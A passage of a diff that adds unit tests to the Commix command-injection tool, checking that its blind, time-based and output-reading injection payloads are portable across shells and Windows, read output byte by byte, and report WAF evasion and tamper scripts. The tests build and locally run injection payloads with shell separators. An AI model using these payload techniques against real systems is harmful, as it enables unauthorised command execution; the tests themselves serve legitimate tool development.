settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + nested = tb_payloads.get_length("&", "id", 1, 5, "GET") + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + stage_exploitation("&") + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + plain = tb_payloads.get_length("&", "id", 1, 5, "GET") + self.assertNotEqual(nested, plain, "the substitution in use changes nothing") + self.assertIn("$((", nested) + self.assertNotIn("$((", plain) + + def test_no_second_answer_is_kept_anywhere(self): + """ + The flag this replaced could be set on its own, and a caller reading it then disagreed with the + payload actually being written. + """ + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + stray = [] + for where, _, names in os.walk(os.path.join(root, "src")): + if "thirdparty" in where.split(os.sep): + continue + for name in names: + if not name.endswith(".py"): + continue + with open(os.path.join(where, name)) as handle: + if "USE_BACKTICKS" in handle.read(): + stray.append(name) + self.assertEqual([], stray) + +# eof + +class WindowsTargets(unittest.TestCase): + """ + Stood in for rather than reached: nothing in this suite has a Windows target to ask, so what a + Windows payload must and must not be made of is pinned here instead. A POSIX construct reaching + 'cmd.exe' is the failure that has no target to catch it. + """ + POSIX_ONLY = ("$(", "${#", "od -A", "printf '%d'", "tail -c", "head -c", "sleep ", + "LC_ALL=C", "[ ", " -le ", " -eq ") + + def _windows(self, separator): + stage_exploitation(separator, target_os=settings.OS.WINDOWS) + settings.TARGET_OS = settings.OS.WINDOWS + settings.EXPLOITATION_PHASE = True + + def test_no_posix_construct_reaches_cmd_exe(self): + from src.core.techniques.boolean_based import bb_payloads + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + was = settings.TARGET_OS + try: + for separator in ("&", "&&", "|", "||"): + self._windows(separator) + settings.TIME_RELATED_ATTACK = False + built = [("bb.get_char", bb_payloads.get_char(separator, "ver", 2, 126)), + ("bb.get_length", bb_payloads.get_length(separator, "ver", 5))] + settings.TIME_RELATED_ATTACK = True + built += [("tb.get_char", tb_payloads.get_char(separator, "ver", 2, 126, 5, "GET")), + ("tfb.get_char", tfb_payloads.get_char(separator, "C:\\\\t.txt", 2, 126, 5, "GET"))] + for name, payload in built: + if not payload: + continue + for construct in self.POSIX_ONLY: + self.assertNotIn(construct, payload, + name + " under " + repr(separator) + " carries " + repr(construct)) + finally: + settings.TARGET_OS = was + + def test_the_character_is_compared_as_a_number(self): + """ + 'cmd.exe' compares strings by locale collation, so only a number can be bisected on - and the number is a byte, which is what the pool it is searched in holds. + """ + from src.core.techniques.boolean_based import bb_payloads + was = settings.TARGET_OS + try: + self._windows("&") + settings.TIME_RELATED_ATTACK = False + payload = bb_payloads.get_char("&", "ver", 2, 126) + self.assertIn("[int](", payload) + self.assertIn("UTF8.GetBytes", payload) + # A '[char]' answers the code point, which past Latin-1 is a number no byte can be. + self.assertNotIn("[char]", payload) + self.assertTrue("GEQ" in payload or "EQU" in payload, "no numeric comparison") + finally: + settings.TARGET_OS = was + + def test_a_byte_read_back_is_still_unsigned_there(self): + """ + The reading a Windows target answers with is a .NET 'int' from a byte, unsigned already - so it needs no bringing back into range, and must not be given one. + """ + from src.core.techniques.boolean_based import bb_payloads + was = settings.TARGET_OS + try: + self._windows("&") + settings.TIME_RELATED_ATTACK = False + payload = bb_payloads.get_char("&", "ver", 2, 195) + self.assertNotIn("% 256", payload) + self.assertIn("195", payload) + finally: + settings.TARGET_OS = was + + +class OdIsAskedThePortableWay(unittest.TestCase): + """ + Stood in for as well: the byte counts are read with 'od', and the only 'od' this suite can run is + the one on the machine running it. What keeps the others answering is asking in the form POSIX + defines, so that is what is pinned - a busybox or BSD 'od' refuses a spelling only GNU accepts. + """ + # POSIX od: -A, -j, -N, -t, -v, with type specifiers a c d f o u x and an optional byte count. + POSIX_TYPES = tuple("acdfoux") + + def _invocations(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + found = [] + for where, _, names in os.walk(os.path.join(root, "src")): + if "thirdparty" in where.split(os.sep): + continue + for name in names: + if not name.endswith(".py"): + continue + with open(os.path.join(where, name)) as handle: + for line in handle: + # Everything the invocation is given, not just its first flag: the options are + # parted by operands ('-t u1'), which a run of flags alone stops at. + for match in re.finditer(r"\bod(\s+-[^\"']*)", line): + found.append((name, match.group(0))) + return found + + def test_the_scan_finds_the_invocations(self): + self.assertGreater(len(self._invocations()), 2, "nothing found to check") + + def test_every_option_is_one_posix_defines(self): + strayed = [] + for name, invocation in self._invocations(): + for flag in re.findall(r"-([A-Za-z])", invocation): + if flag not in ("A", "j", "N", "t", "v"): + strayed.append(name + ": " + invocation) + self.assertEqual([], strayed) + + def test_no_long_option_is_used(self): + """ + '--format' and friends are GNU's own; a busybox or BSD 'od' takes the short forms alone. + """ + for name, invocation in self._invocations(): + self.assertNotIn("--", invocation, name + ": " + invocation) + + def test_every_type_is_one_posix_defines(self): + strayed = [] + for name, invocation in self._invocations(): + for spec in re.findall(r"-t\s*([A-Za-z])", invocation): + if spec not in self.POSIX_TYPES: + strayed.append(name + ": " + invocation) + self.assertEqual([], strayed) + + def test_the_count_is_read_without_relying_on_its_padding(self): + """ + busybox pads a byte count to a narrower width than GNU does, so the reading is taken by word + splitting rather than by position - which a quoted substitution would take away. + """ + from src.core.techniques.boolean_based import bb_payloads + stage_exploitation(settings.PIPE_SEPARATOR) + settings.EXPLOITATION_PHASE = True + settings.BOOLEAN_PRINTED_STATE = False + payload = bb_payloads.get_char(settings.PIPE_SEPARATOR, "id", 2, 126) + self.assertIn("od -A n -t u1", payload) + self.assertNotIn("\"$(printf '%s'", payload.replace("\"$(printf '%s' \\\"", "")) + +# eof + +class ArithmeticIsOpenedOnce(unittest.TestCase): + """ + An arithmetic expansion holding another one is not parsed alike everywhere: a dash of the age + shipped with older distributions stops at the first '))' and calls the rest a syntax error. From + commix's side that is indistinguishable from a target that did not answer - the delay simply never + arrives - so every character comes back unread with nothing to say why. + """ + + def test_the_reading_has_a_form_that_goes_inside_one(self): + from src.core.controller import checks + term = checks.byte_ordinal_term("${X}") + self.assertTrue(term.startswith("("), term) + self.assertNotIn("$((", term) + # It is the same reading, only without an expansion of its own around it. + self.assertIn(term, checks.byte_ordinal("${X}")) + + def test_no_delay_is_scaled_by_a_nested_expansion(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + nested = [] + for separator in SEPARATORS: + stage_exploitation(separator) + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + for name, payload in (("tb.get_char", tb_payloads.get_char(separator, "id", 2, 126, 5, "GET")), + ("tb.get_length", tb_payloads.get_length(separator, "id", 1, 5, "GET")), + ("tfb.get_char", tfb_payloads.get_char(separator, "/tmp/f", 2, 126, 5, "GET"))): + if not payload: + continue + depth = 0 + index = 0 + while index < len(payload): + if payload.startswith("$((", index): + depth += 1 + if depth > 1: + nested.append(name + " under " + repr(separator)) + break + index += 3 + elif payload.startswith("))", index) and depth: + depth -= 1 + index += 2 + else: + index += 1 + self.assertEqual([], nested) + +# eof + +class BytesAreReadByByte(unittest.TestCase): + """ + A byte read off the created file is read by byte position, not by character, and not by line. + + 'cut -b' counted bytes but answered once per line of the file, so on an output of more than one + it gave another line's byte and nothing at all for a line shorter than the position asked for - + which is why the file used to be joined into one line before any of it was read. Indexed by awk + instead, with the locale pinned to the byte one, a newline is a position like any other and a + byte that is not valid UTF-8 is still the byte that was written. + """ + def _reader(self): + from src.core.techniques.tempfile_based import tfb_payloads + settings.TARGET_OS = settings.OS.UNIX + return tfb_payloads.oracle_get_char(";", "/tmp/o.txt", 6, 65) + + def test_the_file_is_indexed_by_byte_and_not_by_line(self): + reader = self._reader() + self.assertIn("substr(ARGV[1],6,1)", reader) + self.assertIn(settings.BYTE_LOCALE, reader) + for per_line in ("cut -b", "cut -c"): + self.assertNotIn(per_line, reader, "a file byte is read a line at a time: " + per_line) + + @unittest.skipUnless(os.path.exists("/usr/bin/awk") or os.path.exists("/bin/awk"), "needs awk") + def test_the_reading_answers_a_high_byte_a_utf8_locale_rejects(self): + import subprocess + environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + for position, expected in ((1, "120"), (2, "195"), (3, "121")): + command = ("LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(position) + + ",1))(\"X\"))}' \"$(printf 'x\\303y')\" | LC_ALL=C od -An -tu1") + got = subprocess.run(command, shell=True, env=environment, stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL).stdout.decode().split() + # The byte at the position, before the letter concatenated onto it to keep a newline readable. + self.assertEqual(expected, got[0] if got else "none", "byte at position " + str(position)) + +# eof + +class FileOracleLengthIsBytes(unittest.TestCase): + """ + The file oracle reads a character by byte position, so the length it searches has to be a byte + count too. A shell counting characters makes the two disagree on where the output ends, and the + trailing bytes of a non-ASCII output - counted as one character, read as two - go unread. + """ + SEPARATORS = (";", "&&", "\n", "\r\n") + + def _length_payload(self, separator): + stage_exploitation(separator) + settings.BOOLEAN_PRINTED_STATE = False + from src.core.techniques.tempfile_based import tfb_payloads + return tfb_payloads.oracle_get_length(separator, "/tmp/F.txt", 5) + + def test_the_length_is_counted_in_bytes(self): + for separator in self.SEPARATORS: + payload = self._length_payload(separator) + self.assertTrue(payload, "no length payload under " + repr(separator)) + self.assertIn(settings.BYTE_LOCALE, payload, + "length counted in the target's own locale under " + repr(separator)) + + def test_pinning_the_locale_adds_no_foreign_separator(self): + for separator in self.SEPARATORS: + payload = self._length_payload(separator) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator) & set(";&|\n\r"), used, + repr(separator) + " also uses " + str(sorted(used))) + + @unittest.skipUnless(os.path.exists("/bin/bash"), "needs bash for the character-counting case") + def test_a_non_ascii_length_is_counted_whole(self): + import subprocess, tempfile + # 'cafe' with an accent: four characters, five bytes - the reading needs the byte count. + with tempfile.NamedTemporaryFile(delete=False) as handle: + handle.write(b"caf\xc3\xa9\n") + name = handle.name + try: + environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + script = settings.BYTE_LOCALE + "; V=$(cat " + name + "); [ ${#V} -ge 5 ] && echo yes || echo no" + got = subprocess.run(["/bin/bash", "-c", script], env=environment, + stdout=subprocess.PIPE).stdout.decode().strip() + self.assertEqual("yes", got, "the fifth byte was not counted") + finally: + os.unlink(name) + +# eof + +class ResultsBasedReadsTheOutputAsItWasPrinted(unittest.TestCase): + """ + What the target printed is what the run reports. Handed straight to 'echo' the output is split + into words and joined back with one space each, so runs of whitespace collapse and the ends are + dropped - and 'echo' reads the backslashes of what is left. Quoting alone is no answer: the + newlines then survive too, and a sink handing back only the last line of what it ran answers + with nothing at all. + """ + def setUp(self): + from src.core.techniques.results_based import rb_payloads + self.rb_payloads = rb_payloads + self._state = (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, dict(settings.TAMPER_SCRIPTS)) + settings.TARGET_OS = settings.OS.UNIX + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.RESULTS_BASED_EXACT_OUTPUT = True + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + + def tearDown(self): + (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, scripts) = self._state + settings.TAMPER_SCRIPTS.update(scripts) + + def payload(self): + return self.rb_payloads.cmd_execution(";", "TAG", "ls /") + + def test_the_output_is_written_a_byte_at_a_time(self): + # 'echo' reads the backslashes of what it is handed and the leading '-n'/'-e' of it as options + # of its own; a format with the output as its argument reads neither. + payload = self.payload() + self.assertIn("printf TAG", payload) + self.assertIn("%s", payload) + + def test_the_newlines_are_replaced_before_the_page_can_lose_them(self): + self.assertIn("gsub(/" + settings.END_LINE.ESCAPED_LF + "/,OFS,ARGV[1])", self.payload()) + + def test_the_output_goes_in_quoted_and_the_markers_do_not(self): + # A script that writes the payload out differently puts its own characters inside the markers + # too, and those are stripped only where the shell still reads them. + payload = self.payload() + self.assertIn('%s' + settings.CMD_SUB_PREFIX + 'printf TAG' + settings.CMD_SUB_SUFFIX + 'TAG', payload) + self.assertIn('"' + settings.CMD_SUB_PREFIX + 'LC_ALL=C awk', payload) + + def test_a_substitution_that_cannot_nest_reads_it_the_plain_way(self): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "`", "`" + payload = self.payload() + self.assertIn(checks.print_marker("TAG"), payload) + self.assertNotIn("awk", payload) + + def test_a_script_rewriting_the_payload_reads_it_the_plain_way(self): + # Six of them take the nesting apart and one turns it into a command that waits, so where any + # is in effect the output goes in as it always did - a collapsed answer, not no answer. + settings.TAMPER_SCRIPTS["space2ifs"] = True + payload = self.payload() + self.assertIn(checks.print_marker("TAG"), payload) + self.assertNotIn("awk", payload) + + def test_a_target_without_the_tool_reads_it_the_plain_way(self): + settings.RESULTS_BASED_EXACT_OUTPUT = False + self.assertNotIn("awk", self.payload()) + +class TheInterpreterIsHandedTheOutputNotAProgramMadeOfIt(unittest.TestCase): + """ + The output used to be written into the program the interpreter was given to run, inside a quoted + string there - so a quote of the output's own closed that string early and the interpreter + answered with a syntax error instead of with the command's output. Silently: the run reported + nothing at all for a command that had worked. + """ + def setUp(self): + self._state = (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + list(settings.WHITESPACES)) + settings.TARGET_OS = settings.OS.UNIX + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + + def tearDown(self): + (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.WHITESPACES) = self._state + + def _built(self): + from src.core.techniques.results_based import rb_payloads + from src.core.techniques.file_based import fb_payloads + return { + "rb_payloads": rb_payloads.cmd_execution_alter_interpreter(";", "MARKER", "echo Hello"), + "fb_payloads": fb_payloads.cmd_execution_alter_interpreter(";", "echo Hello", "out.txt"), + } + + def test_the_output_arrives_as_an_argument(self): + for name, payload in self._built().items(): + self.assertIn("sys.argv[1]", payload, name + " does not read the output as an argument") + + def test_no_substitution_is_left_inside_a_string_the_interpreter_parses(self): + for name, payload in self._built().items(): + self.assertNotIn("'" + settings.CMD_SUB_PREFIX, payload, + name + " still writes the output into a quoted string of the program") + + def test_the_command_is_still_run(self): + for name, payload in self._built().items(): + self.assertIn(settings.CMD_SUB_PREFIX + "echo Hello" + settings.CMD_SUB_SUFFIX, payload, name) + +class EachPayloadPrintsWithOneCommand(unittest.TestCase): + """ + A payload prints with 'printf' or with 'echo', never both: a filter refusing either name would + otherwise refuse the payload over a word the other half did not need. 'printf' is the default, + since it prints its arguments as they are; the tamper script trading it for 'echo' turns every + payload to 'echo' at once. Every POSIX builder is built here under every separator, both ways. + """ + MODULES = ("results_based.rb_payloads", "time_based.tb_payloads", "boolean_based.bb_payloads", + "file_based.fb_payloads", "tempfile_based.tfb_payloads") + ARGS = {"separator": ";", "TAG": "TAG", "cmd": "id", "OUTPUT_TEXTFILE": "/tmp/X.txt", "timesec": 2, + "http_request_method": "GET", "output_length": 3, "j": 3, "num_of_chars": 1, + "ascii_char": 65, "tag_length": 3, "randvcalc": 5, "holds": True, "candidate_length": 3} + + def setUp(self): + self._kept = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.PRINT_WITH_ECHO, settings.RESULTS_BASED_EXACT_OUTPUT) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.PRINT_WITH_ECHO, settings.RESULTS_BASED_EXACT_OUTPUT) = self._kept + + def _payloads(self): + for name in self.MODULES: + module = importlib.import_module("src.core.techniques." + name) + for function_name, function in inspect.getmembers(module, inspect.isfunction): + if function.__module__ != module.__name__ or function_name.startswith("_"): + continue + # The alternative interpreter's payloads hand the output to Python, not to a printing command. + if "alter_interpreter" in function_name: + continue + for separator in (";", "&", "&&", "|", "||", "\n"): + values = dict(self.ARGS, separator=separator) + try: + payload = function(*[values.get(p, 1) for p in inspect.signature(function).parameters]) + except Exception: + continue + if isinstance(payload, str) and payload: + yield name + "." + function_name + " " + repr(separator), payload + + def _mixed(self): + return [where for where, payload in self._payloads() + if re.search(r"\becho\b", payload) and re.search(r"\bprintf\b", payload)] + + def test_no_payload_mixes_the_two_by_default(self): + for exact in (False, True): + settings.RESULTS_BASED_EXACT_OUTPUT = exact + settings.PRINT_WITH_ECHO = False + self.assertEqual([], self._mixed()) + + def test_no_payload_mixes_the_two_where_echo_is_asked_for(self): + settings.PRINT_WITH_ECHO = True + self.assertEqual([], self._mixed()) + + def test_the_payloads_that_print_say_printf_by_default_and_echo_when_asked(self): + from src.core.techniques.results_based import rb_payloads + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.PRINT_WITH_ECHO = False + self.assertNotIn("echo", rb_payloads.cmd_execution(";", "TAG", "id")) + settings.PRINT_WITH_ECHO = True + self.assertNotIn("printf", rb_payloads.cmd_execution(";", "TAG", "id")) + + def test_the_script_trading_printf_for_echo_says_so_before_anything_is_built(self): + from src.tamper.obfuscation.posix import printf2echo + settings.PRINT_WITH_ECHO = False + printf2echo.declare() + self.assertTrue(settings.PRINT_WITH_ECHO) + +class AnOutputIsPrintedAsItWasPrinted(unittest.TestCase): + """ + 'echo' reads the backslashes of what it prints as escapes on some shells and a leading '-n' as an + option on all of them, so an output carrying either came back changed: 'C:\\temp\\new' as a tab and + a line break, and '\\c' cut the closing markers off. Each payload is run here through the local + shell, so it is the shell's reading of what was built that is checked, not its spelling. + """ + TAG = "QQQQQQ" + PRINTED = ("C:\\temp\\new", "a\\cb", "a\\\\b", "\\0141", "-n x", "-E") + + def setUp(self): + self._kept = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.RESULTS_BASED_EXACT_OUTPUT, settings.PRINT_WITH_ECHO) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TARGET_OS = settings.OS.UNIX + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.PRINT_WITH_ECHO = False + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.RESULTS_BASED_EXACT_OUTPUT, settings.PRINT_WITH_ECHO) = self._kept + + def _command(self, text): + # Written out a byte at a time, so the command itself carries nothing for a shell to read. + return "printf '" + "".join("\\%03o" % byte for byte in text.encode("utf-8")) + "'" + + def test_the_plain_reading_prints_the_output_as_it_was_printed(self): + from src.core.techniques.results_based import rb_payloads + for text in self.PRINTED: + payload = rb_payloads.cmd_execution(";", self.TAG, self._command(text)) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + found = re.findall((self.TAG * 2 + "(.*)" + self.TAG * 2).encode(), done.stdout, re.S) + self.assertEqual([text.encode()], found, "the plain reading changed " + repr(text)) + + def test_the_plain_reading_still_joins_the_words_with_one_space(self): + from src.core.techniques.results_based import rb_payloads + payload = rb_payloads.cmd_execution(";", self.TAG, self._command("a b\n c\n")) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + self.assertIn((self.TAG * 2 + "a b c" + self.TAG * 2).encode(), done.stdout) + + def test_the_tempfile_reading_stores_the_output_as_it_was_printed(self): + from src.core.techniques.tempfile_based import tfb_payloads + import tempfile + with tempfile.TemporaryDirectory() as work: + stored = os.path.join(work, "out.txt") + for text in self.PRINTED: + subprocess.run(["sh", "-c", "true" + tfb_payloads.oracle_write(";", self._command(text), stored)], + capture_output=True) + with open(stored, "rb") as handle: + self.assertEqual(text.encode(), handle.read(), "the tempfile reading changed " + repr(text)) + + def test_echo_where_asked_for_still_reads_a_plain_output(self): + from src.core.techniques.results_based import rb_payloads + settings.PRINT_WITH_ECHO = True + payload = rb_payloads.cmd_execution(";", self.TAG, self._command("uid=33 gid=33")) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + self.assertIn((self.TAG * 2 + "uid=33 gid=33" + self.TAG * 2).encode(), done.stdout) diff --git a/tests/test_proof.py b/tests/test_proof.py new file mode 100644 index 0000000000..47b32a2b4d --- /dev/null +++ b/tests/test_proof.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import shutil +import tempfile +import unittest + +from tests import _testutils +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import proof + +class ProofFixture(unittest.TestCase): + """ + One proof per test, run against an executor that answers the way a target which ran the command + would - so the report is the real one rather than a rendering of hand-written fields. + """ + URL = "http://t/a.php?addr=127.0.0.1" + + def setUp(self): + self._dir = tempfile.mkdtemp(prefix="commix-proof-") + self._state = (settings.PROOF_DONE, list(settings.PROOF_EXECUTORS), settings.WAF_ENABLED, + settings.WAF_EVASION_APPLIED, settings.ADAPTIVE_DELAY, settings.TARGET_OS, + settings.TARGET_ARCH, settings.ORIGINAL_PAGE, list(settings.RESPONSE_TIMES), + set(settings.WARNED_HTTP_ERROR_CODES), settings.USER_DEFINED_POST_DATA, + settings.TOTAL_OF_REQUESTS, menu.options.proof, menu.options.tamper, + menu.options.delay, menu.options.url) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.PROOF_DONE = False + settings.PROOF_EXECUTORS = [] + settings.WAF_ENABLED = False + settings.WAF_EVASION_APPLIED = False + settings.ADAPTIVE_DELAY = 0 + settings.TARGET_OS = settings.OS.UNIX + settings.TARGET_ARCH = "" + settings.ORIGINAL_PAGE = "nothing of the answer is in here" + settings.RESPONSE_TIMES = [] + settings.WARNED_HTTP_ERROR_CODES = set() + settings.USER_DEFINED_POST_DATA = "" + menu.options.proof = True + menu.options.tamper = None + menu.options.delay = 0 + menu.options.url = self.URL + + def tearDown(self): + (settings.PROOF_DONE, settings.PROOF_EXECUTORS, settings.WAF_ENABLED, + settings.WAF_EVASION_APPLIED, settings.ADAPTIVE_DELAY, settings.TARGET_OS, + settings.TARGET_ARCH, settings.ORIGINAL_PAGE, settings.RESPONSE_TIMES, + settings.WARNED_HTTP_ERROR_CODES, settings.USER_DEFINED_POST_DATA, + settings.TOTAL_OF_REQUESTS, menu.options.proof, menu.options.tamper, + menu.options.delay, menu.options.url) = self._state + settings.print_data_to_stdout = self._out + shutil.rmtree(self._dir, ignore_errors=True) + + """ + What a target that ran the challenge would send back: the sum, bracketed by the marker the + challenge wrapped it in. + """ + def oracle(self, cmd): + sum_up = re.search(r"echo (\w+)\$\(\((\d+)\+(\d+)\)\)(\w+)$", cmd) + if not sum_up: + return "" + return sum_up.group(1) + str(int(sum_up.group(2)) + int(sum_up.group(3))) + sum_up.group(4) + + def report(self): + proof.register(settings.INJECTION_TECHNIQUE.RESULTS_BASED, "addr", "GET", self.oracle) + proof.prove(os.path.join(self._dir, "commix.log"), self.URL) + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + +class TheProofStatesWhatItGotThrough(ProofFixture): + """ + Evidence is worth more where the report also says what was in the way. A run through a protection, + behind tamper scripts or spaced out by a delay proves the same point under conditions the next + reader cannot reconstruct from the challenge alone. + """ + def test_a_run_with_nothing_in_the_way_states_no_conditions(self): + self.assertNotIn("Conditions:", self.report()) + + def test_a_protection_in_front_of_the_application_is_stated(self): + settings.WAF_ENABLED = True + self.assertIn("protection detected in front of the application", self.report()) + + def test_evasion_chosen_by_the_run_itself_is_stated(self): + settings.WAF_EVASION_APPLIED = True + self.assertIn("evasion applied automatically", self.report()) + + def test_tamper_scripts_in_effect_are_named(self): + menu.options.tamper = "space2ifs,rev" + self.assertIn("tamper scripts in effect: space2ifs,rev", self.report()) + + def test_the_statuses_a_protection_returned_are_stated(self): + settings.WAF_ENABLED = True + settings.WARNED_HTTP_ERROR_CODES = set(list(settings.WAF_BLOCK_HTTP_CODES)[:1]) + said = self.report() + self.assertIn("statuses a protection returns, seen during the run", said) + + def test_a_delay_the_target_asked_for_is_stated(self): + settings.ADAPTIVE_DELAY = 1.25 + self.assertIn("requests were spaced out by 1.2s after the target asked for it", self.report()) + + def test_a_delay_the_user_asked_for_is_stated_where_the_target_asked_for_none(self): + menu.options.delay = 2 + self.assertIn("requests were delayed by 2.0s each", self.report()) + + def test_the_conditions_sit_above_the_findings_rather_than_inside_each_one(self): + settings.WAF_ENABLED = True + said = self.report() + self.assertLess(said.index("Conditions:"), said.index("Technique:")) + self.assertEqual(1, said.count("protection detected in front of the application")) + + def test_the_written_file_carries_them_as_the_report_does(self): + settings.WAF_ENABLED = True + self.report() + with open(os.path.join(self._dir, "proof.txt")) as written: + self.assertIn("protection detected in front of the application", written.read()) + + def test_the_report_is_assembled_from_the_evasion_lines_themselves(self): + self.assertIn("_evasion", proof.prove.__code__.co_names) + +if __name__ == "__main__": + unittest.main() + +# eof diff --git a/tests/test_request_authorization.py b/tests/test_request_authorization.py new file mode 100644 index 0000000000..0eaf33d834 --- /dev/null +++ b/tests/test_request_authorization.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import base64 +import shutil +import socket +import tempfile +import unittest + +from tests._testutils import stage +from src.utils import settings +from src.core.parse import cmdline as menu +from src.core.parse import request + +CREDENTIALS = "user:pw" +ENCODED = base64.b64encode(CREDENTIALS.encode()).decode() + +""" +Fail closed: a captured request is read before anything is sent, so a test of that reading which +reaches for the network is a broken test rather than a slow one. +""" +def _no_transport(*args, **kwargs): + raise RuntimeError("Reading a captured request is exercised offline; no transport may be opened.") + +class _Captured(unittest.TestCase): + def setUp(self): + self.saved_sockets = (socket.socket, socket.create_connection, socket.getaddrinfo) + socket.socket, socket.create_connection, socket.getaddrinfo = (_no_transport,) * 3 + self.saved_options = dict(vars(menu.options)) + self.saved_command_line = dict(request._command_line_options) + menu.options.scope = None + request._command_line_options.clear() + self.directory = tempfile.mkdtemp(prefix="commix-auth-") + + def tearDown(self): + socket.socket, socket.create_connection, socket.getaddrinfo = self.saved_sockets + vars(menu.options).clear() + vars(menu.options).update(self.saved_options) + request._command_line_options.clear() + request._command_line_options.update(self.saved_command_line) + shutil.rmtree(self.directory, ignore_errors=True) + + def parse(self, *headers): + path = os.path.join(self.directory, "captured.invalid.txt") + raw = "GET /review?x=1 HTTP/1.1\n" + "".join(line + "\n" for line in headers) + "\n" + with open(path, "w", encoding=settings.DEFAULT_CODEC) as handle: + handle.write(raw) + return request.parse_requests(path)[0] + +class AuthorizationField(_Captured): + """ + The 'Authorization' field of a captured request, read the way every other known field is. + + Matched anywhere in the line rather than at its start, as it was, the name was found inside + 'X-Authorization' too - so another header's credentials were adopted as the ones to authenticate + with, and that header never reached the request, since what is read here is not kept as an extra. + """ + def test_the_credentials_are_read_however_the_colon_is_spaced(self): + for line in ("Authorization: Basic " + ENCODED, + "Authorization:Basic " + ENCODED, + "Authorization:\tBasic " + ENCODED, + "authorization: Basic " + ENCODED): + with self.subTest(line=line): + target = self.parse("Host: asset.invalid", line) + self.assertEqual("basic", target["auth_type"]) + self.assertEqual(CREDENTIALS, target["auth_cred"]) + + def test_a_field_that_merely_ends_in_the_name_is_not_the_field(self): + for name in ("X-Authorization", "Proxy-Authorization", "My-Authorization"): + with self.subTest(name=name): + target = self.parse("Host: asset.invalid", name + ": Basic " + ENCODED) + self.assertIsNone(target["auth_type"], name + " was taken for the authorization field") + self.assertIsNone(target["auth_cred"]) + + def test_such_a_field_still_reaches_the_request_as_an_extra_header(self): + target = self.parse("Host: asset.invalid", "X-Authorization: Basic " + ENCODED, "X-Trace: keepme") + self.assertIn("X-Authorization", target["headers"] or "") + self.assertIn("X-Trace", target["headers"] or "") + + def test_the_field_itself_is_consumed_rather_than_sent_again(self): + target = self.parse("Host: asset.invalid", "Authorization: Basic " + ENCODED, "X-Trace: keepme") + self.assertNotIn("Authorization", target["headers"] or "") + self.assertIn("X-Trace", target["headers"] or "") + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_request_headers.py b/tests/test_request_headers.py new file mode 100644 index 0000000000..243d990415 --- /dev/null +++ b/tests/test_request_headers.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import socket +import shutil +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +# The modules below read the command line as they are imported, so keep pytest's own +# arguments away from them and hand the real ones back even if an import fails. 